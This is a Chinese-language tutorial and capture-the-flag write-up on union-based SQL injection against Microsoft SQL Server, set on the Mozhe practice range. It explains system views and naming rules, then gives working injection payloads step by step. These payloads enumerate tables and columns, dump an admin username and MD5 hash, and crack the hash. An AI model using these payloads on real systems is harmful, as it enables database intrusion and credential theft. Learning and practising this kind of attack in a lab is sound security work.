sql server(mssql)联合注入

  • sql server简介:


    • SQL Server 是Microsoft 公司推出的关系型数据库管理系统。具有使用方便可伸缩性好与相关软件集成程度高等优点,可跨越从运行Microsoft Windows 98 的膝上型电脑到运行Microsoft Windows 2012 的大型多处理器的服务器等多种平台使用。

1. 前置知识

  • 以下资料均来自:sql server联机丛书:

1.1 sql server数据库内置函数:

  • DB_NAME ( [ database_id ] ):如果对 DB_NAME 的调用省略 database_id,则 DB_NAME 返回当前数据库的名称;如果不省略,则返回对应数据库id的数据库名称
  • COL_NAME ( table_id , column_id )
    • 参数:


      1. table_id:包含列的表的标识号。table_id 的类型为 int。
      2. column_id:列的标识号。column_id 参数的类型为 int。
    • 作用:据指定的对应表标识号和列标识号返回列的名称。
  • OBJECT_ID ( '[ database_name . [ schema_name ] . | schema_name . ] object_name' [ ,'object_type' ] )
    • 参数:


      1. object_name:要使用的对象。object_name 的数据类型为 varchar 或 nvarchar。如果 object_name 的数据类型为 varchar,则它将隐式转换为nvarchar。可以选择是否指定数据库和架构名称。
      2. object_type:架构范围的对象类型。object_type 的数据类型为 varchar 或 nvarchar。如果 object_type 的数据类型为 varchar,则它将隐式转换为 nvarchar。
    • 作用:返回架构范围内对象的数据库对象标识号。
  • @@VERSION
    • 作用:返回当前的 SQL Server 安装的版本、处理器体系结构、生成日期和操作系统。

1.2 sql server数据库的系统视图

  • 以下系统视图在数据库创建之初就会默认创建,存在于每一个数据库中
  1. sysobjects:


    • 准确的来说应称 sysobject 为系统视图,而不是表;不过在sql server2000版本及以前它的确是作为表而存在的。
    • 作用:这张视图存储量该数据库内每一个对象(包括约束、默认值、日志、规则、存储过程等),每一个对象为其中的一条记录
    • 拥有的字段名(这里只介绍数据库提供支持的字段):
      * 列名            数据类型      说明
      name; sysname; 对象名
      id; int; 对象标识号
      uid; smallint; 对象所有者的架构 ID。__对于从旧版 SQL Server 升级的数据库,架构 ID 等于所有者的用户 ID。__
      parent_obj; int; 父对象的对象标识号。例如,表 ID(如果父对象是触发器或约束)。
      crdate; datetime; 对象的创建日期。
      ftcatid; smallint; 注册为使用全文索引的所有用户表的全文目录标识符,对于没有注册的所有用户表则为 0。
      schema_ver; int; 在每次更改表的架构时都会增加的版本号。始终返回 0。
      xtype; char(2); 对象类型。可以是以下对象类型之一:
      AF = 聚合函数 (CLR)
      C = CHECK 约束
      D = 默认值或 DEFAULT 约束
      F = FOREIGN KEY 约束
      L = 日志
      FN = 标量函数
      FS = 程序集 (CLR) 标量函数
      FT = 程序集 (CLR) 表值函数
      IF = 内联表函数
      IT = 内部表
      P = 存储过程
      PC = 程序集 (CLR) 存储过程
      PK = PRIMARY KEY 约束(类型为 K)
      RF = 复制筛选存储过程
      S = 系统表
      SN = 同义词
      SQ = 服务队列
      TA = 程序集 (CLR) DML 触发器
      TF = 表函数
      TR = SQL DML 触发器
      TT = 表类型
      U = 用户表(__我们在这里使用的就是这个参数__)
      UQ = UNIQUE 约束(类型为 K)
      V = 视图
      X = 扩展存储过程
  2. syscolumns
    • 作用;为每个表和视图中的每一字段返回一行,并为数据库中的存储过程的每个参数返回一行
    • 拥有的字段名(这里只介绍数据库提供支持的字段)
      列名       数据类型                     说明
      name sysname 列名或过程参数的名称。
      id int 此列所属表的对象 ID,或者与此参数关联的存储过程的 ID。
      xtype tinyint sys.types 中的物理存储类型。
      typestat tinyint 标识为仅供参考。不提供支持。不保证以后的兼容性。
      xusertype smallint 扩展的用户定义数据类型的ID。如果数据类型的数字超过 32,767,则溢出或返回 NULL。有关详细信息,请参阅查询 SQL Server 系统目录。
      length smallint sys.types 中的最大物理存储长度。
      colid smallint 列 ID 或参数 ID。
      cdefault int 此列的默认值的 ID。
      domain int 此列的规则或 CHECK 约束的 ID
      number smallint 过程分组时的子过程号。0 = 非过程项 容性。
      offset smallint 此列所在行的偏移量。
      collationid int 列的排序规则的 ID。对于非字符列,此值为 NULL。
      status tinyint 用于说明列或参数的属性的位图:
      type tinyint sys.types 中的物理存储类型。
      usertype smallint sys.types中的用户定义数据类型的 ID。如果数据类型数超过 32767,则会发生溢出或返回 NULL。有关详细信息,请参阅查询 SQL Server 系统目录。
      prec smallint 此列的精度级别。-1 = xml 或大值类型。
      scale int 此列的小数位数。NULL = 数据类型不是数值。
      iscomputed int 指示列是否为计算列的标志:0 = 非计算列。1 = 计算列。
      isoutparam int 指示过程参数是否为输出参数:1 = True 0 = False
      isnullable int 指示列是否允许空值:1 = True 0 = False
      collation sysname 列的排序规则的名称。如果不是基于字符的列,则为 NULL。

1.3 Transact-SQL 语法约定 --> 多部分名称

  • 这部分知识用来理解sql语句:select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',null 中, mozhe_db_v2.dbo.sysobjects 的命名格式的含义。
  • 多部分名称:
    • 除非另外指定,否则,所有对数据库对象名的Transact-SQL引用将是由四部分组成的名称,格式如下:
      server_name .[database_name].[schema_name].object_name
      | database_name.[schema_name].object_name
      | schema_name.object_name
      | object_name
    • 解释说明:
      1. server_name:指定链接的服务器名称或远程服务器名称。
      2. database_name:如果对象驻留在 SQL Server 的本地实例中(说人话就是你操作的数据库在本地),则指定 SQL Server 数据库的名称。如果对象在链接服务器中,则 database_name 将指定 OLE DB 目录。
      3. schema_name:如果对象在 SQL Server数据库中,则指定包含对象的 架构的名称(对于从旧版 SQL Server 升级的数据库,架构 ID 等于所有者的用户 ID)。如果对象在链接服务器中,则 schema_name将指定 OLE DB 架构名称。
      4. object_name:对象的名称。
    • 注意:
      1. 引用某个特定对象时,不必总是指定服务器、数据库和架构供 SQL Server数据库引擎标识该对象。但是,如果找不到该对象,将返回错误。
      2. 对于从旧版 SQL Server 升级的数据库,架构 ID 等于所有者的用户 ID
    • 若要省略中间节点,请使用句点来指示这些位置。下表显示了对象名的有效格式。
      server . database . schema . object 四个部分的名称。
      server . database .. object 省略架构名称。
      server .. schema . object 省略数据库名称。
      server ... object 省略数据库和架构名称。
      database . schema . object 省略服务器名。
      database .. object 省略服务器和架构名称。
      schema . object 省略服务器和数据库名称。
      object 省略服务器、数据库和架构名称。

1.4 关于对象、架构(结合 1.3的多部分名称理解 )

  • 对象:在sql server数据库中,表,视图,函数等都被看作为 “(安全)对象”。每一个对象都有其 “对象名” 以及其 “对象ID”。
  • 架构:架构是指包含 表、视图、过程等对象容器。它位于数据库内部,而数据库位于服务器内部。这些实体就像嵌套框放置在一起。服务器是最外面的框,而架构是最里面的框。架构 包含下面列出的所有【安全对象】,但是它不包含其他框。
    必须位于架构内部的安全对象    类
    类型 TYPE
    XML 架构集合 XML SCHEMA COLLECTION
    表 OBJECT
    视图 OBJECT
    过程 OBJECT
    函数 OBJECT
    聚合函数 OBJECT
    约束 OBJECT
    同义词 OBJECT
    队列 OBJECT
    统计信息 OBJECT
  • 默认架构
    • 为了解析不完全限定的安全对象名称,SQL Server 2000使用名称解析来检查执行调用的数据库用户所拥有的架构和 dbo 所拥有的架构。
    • DBO是系统的默认架构,DBO作为架构来定义对象,能够使数据库中的任何用户引用而不必提供架构名称。DBO架构的所有者默认是dbo账户。
    • sys也是系统的默认架构,sys架构的所有者默认是sys账户。
  • 注意:
    1. 特定架构中的每个安全对象都必须有唯一的名称。架构中安全对象的 “完全指定名称” 包括此安全对象所在的架构的名称。因此,架构也是命名空间
    2. 【在 SQL Server 2000 和早期版本中】,数据库可以包含一个名为 “架构” 的实体,但此实体实际上是 “数据库用户”;【在 SQL Server 2005 中】,架构行为已更改。架构不再等效于数据库用户。现在,每个架构都是独立于创建它的数据库用户存在的不同命名空间。即:在 SQL Server 2005 和 SQL Server 2008 中架构既是一个容器,又是一个命名空间,且架构只能有一个所有者,但一个用户可以拥有多个架构

2.mssql 联合注入流程

  1. 判断注入点
  2. 判断当前注入点所查询的字段数
  3. 确定显示位
  4. 查询当前数据库名,当前数据库的版本号
  5. 查询当前数据库中有多少张表
  6. 查询数据库中的所有表名
  7. 查询表中有多少字段
  8. 查询每一个字段的名称
  9. 判断manage表中有多少条记录
  10. 查询账号密码

3. 靶场实战(这里以“墨者”的的靶场为例)

  • 靶场网址:https://www.mozhe.cn/bug

3.1 判断注入点

  • payload:
    ?id=2 and 1=1 -- 页面返回正常
    ?id=2 and 1=2 -- 页面返回出错

    • 由下图可分析得:存在注入点,且为数字型注入

3.2 判断当前注入点所查询的字段数

  • payload
    ?id=2 order by 4 -- 页面返回正常
    ?id=2 order by 5 -- 页面返回失败

    • 由下图分析可得:判断当前注入点所查询的字段数为:4

3.3 确定显示位

  • payload:
    ?id=2 and 1=2 union all select null,null,null,null
    ?id=2 and 1=2 union all select 'null',null,null,null
    ?id=2 and 1=2 union all select null,'null',null,null -- 出现显示位
    ?id=2 and 1=2 union all select null,null,'null',null -- 出现显示位
    ?id=2 and 1=2 union all select null,null,null,'null'

    • 由下图分析可得:显示位出现在 2号 和 3号 位。

    • 这里说明一下,为什么sql server与mysql 确定显示位的方法不同:
      • 原因是sql server数据库是强数据类型,即union关键字前后的select查询所查询的字段的数据类型必须相同(mysql可以不同),这就导致在我们不知道union关键字前面的数据类型的前提下,必须先使用 null数据类型 来充当字段。然后依次为 null 加单引号使其变为字符串类型,如果加上单引号使null变为的字符串类型与union前面对应的字段类型相同,就自然会在页面中回显出显示位。

3.4 查询当前数据库名,当前数据库的版本号

  • payload:
    ?id=2 and 1=2 union all select null,db_name(),@@version,null

    • 由下图我们可以得出:当前数据库名为 mozhe_db_v2

3.5 查询当前数据库中有多少张表

  • payload1:
    ?id=2 and 1=2 union all select null,(select count(*) from mozhe_db_v2.dbo.sysobjects where xtype='u'),@@version,null

    • 由下图的回显可知:当前数据库存在2张表

    • 为了让我们更深入的理解上述sql语句以及sql server的机制,在此借题发挥一下,请同学们结合我前面所介绍的“前置知识-->Transact-SQL 语法约定-->多部分名称” 来判断一下,下面的payload是否可以达到与上面payload相同的效果?
      payload2:?id=1 and 1=2 union all select null,(select count(*) from ...sysobjects where xtype='u'),@@version,null
      payload3:?id=1 and 1=2 union all select null,(select count(*) from sysobjects where xtype='u'),@@version,null
      payload4:?id=1 and 1=2 union all select null,(select count(*) from mozhe_db_v2..sysobjects where xtype='u'),@@version,null
      payload5:?id=1 and 1=2 union all select null,(select count(*) from mozhe_db_v2.sysobjects where xtype='u'),@@version,null
    • 下图是以上payload的执行结果:

    • 我们可以看出,只有payload5执行失败了。

3.6 查询数据库中的所有表名

  • payload:


    • 查询第一张表名:
      ?id=1 and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',null

    • 查询第二张表名:
      ?id=1 and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name<>'manage'),'3',null

    • 显然 manage 表是我们所需要的。

3.7 查询表中有多少字段

  • payload:
    ?id=1 and 1=2 union all select null,(select count(*) from mozhe_db_v2.dbo.syscolumns where id=object_id('manage')),'3',null

    • 由图分析可知:manage表中存在3个字段。

3.8 查询每一个字段的名称

  • payload:(使用col_name()函数)


    • 查询manage表的第一个字段名
      ?id=1 and 1=2 union all select null,(select col_name(object_id('manage'),1) ),'3',null

    • 查询manage表的第二个字段名
      ?id=1 and 1=2 union all select null,(select col_name(object_id('manage'),2) ),'3',null

    • 查询manage表的第三个字段名
      ?id=1 and 1=2 union all select null,(select col_name(object_id('manage'),3) ),'3',null

    • 显然字段 username 与 password 是我们所需要的
  • 其实在这里我们也可以使用以下payload来查询字段名(使用了syscolumns系统视图,不使用col_name()函数)--- 关于syscolumns系统视图请看 前置知识
    -- 查询manage表的第一个字段名
    ?id=2 and 1=2 union all select null,(select top 1 name from syscolumns where id=object_id('manage')),null,null
    -- 查询manage表的第二个字段名
    ?id=2 and 1=2 union all select null,(select top 1 name from syscolumns where id=object_id('manage') and name<>'id'),null,null
    -- 查询manage表的第三个字段名
    ?id=2 and 1=2 union all select null,(select top 1 name from syscolumns where id=object_id('manage') and name<>'id' and name<>'username'),null,null

3.9 判断manage表中有多少条记录

  • payload:
    ?id=1 and 1=2 union all select null,count(*),null,null from manage

    • 由下图可知,manage表中存在 1 条记录

3.10 查询账号密码

  • payload:
    ?id=1 and 1=2 union all select null,username,password,null from manage

    • 由下图可知,账号密码为:admin_mz/72e1bfc3f01b7583

    • 显然这里的密码是经过MD5加密后的,那么我们就通过网站 https://www.cmd5.com 进行解密,得到明文:97285101。所以账号密码:admin_mz/97285101

3.11 登录后台拿flag

  • KEY: mozhe3ecd86b639e1b4af48c27353ab0

sql server(mssql)联合注入的


扫描二维码,在手机上阅读!